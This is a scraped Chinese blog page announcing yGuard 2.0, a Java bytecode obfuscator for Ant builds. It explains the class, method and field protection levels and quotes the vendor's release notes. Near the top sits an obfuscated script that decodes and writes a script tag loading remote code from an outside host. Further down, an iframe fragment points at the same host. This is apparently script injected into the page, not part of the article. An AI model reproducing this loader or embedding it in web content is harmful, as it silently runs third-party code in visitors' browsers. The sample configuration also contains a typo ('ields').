yguard 2.0 版本发布

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
yguard 2.0 版本发布




yguard 2.0  版本发布了.
yguard是一个很好用的java

文件
模糊器(obfuscation)。它和ant配合使用,需要修改ant的build.
xml
文件,把它们集成到一起。需要把生成的
class
文件打包成jar文件,然后对jar文件进行模糊化。 yguard可以完成以下模糊化工作:
模糊化方法(函数)中的变量名
模糊化类的成员变量名
模糊化方法名
模糊化类名
模糊化包路径
去除class文件中的调试信息等等
其中,对模糊化类的成员变量名、方法名、类名,可以分别设置保护级别。设置的修饰符和java的修饰(访问控制)符一致,包括:
public
protected
private
none:表示对名称不进行模糊化。注意,本修饰符是yguard特有的,java中没有
以保护方法名为例
public表示除了public的方法名不需要混淆外,模糊化其他所有的方法名(即:模糊化protected和private修饰的方法名);
protected表示除了public和protected的方法名不进行混淆,其余的方法名都要进行模糊化(即:模糊化private修饰的方法名);
private表示对方法名不进行混淆
none表示对所有方法名均进行模糊化,包括public的方法名
保护级别在obfuscate部分通过如下参数设置(示例):



<expose>
<class classes="public" methods="public" ields="public">
</class>
</expose> 
 


其中的参数说明如下:
classes:设置类名保护级别
methods:设置方法名保护级别
fields:设置类的成员变量保护级别
对于新版本的提升,官方提到:



yGuard is our free bytecode obfuscator that integrates perfectly with the Ant build tool. It can be used to obfuscate jar files and text-resource files accordingly in order to both make decompilation a lot more difficult and decrease download file sizes of your applications. Version 2.0 makes configuring the obfuscation process easier and uses sophisticated bytecode analysis that allows it to remove unneeded fields, methods, and classes.


官方站点请点击
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值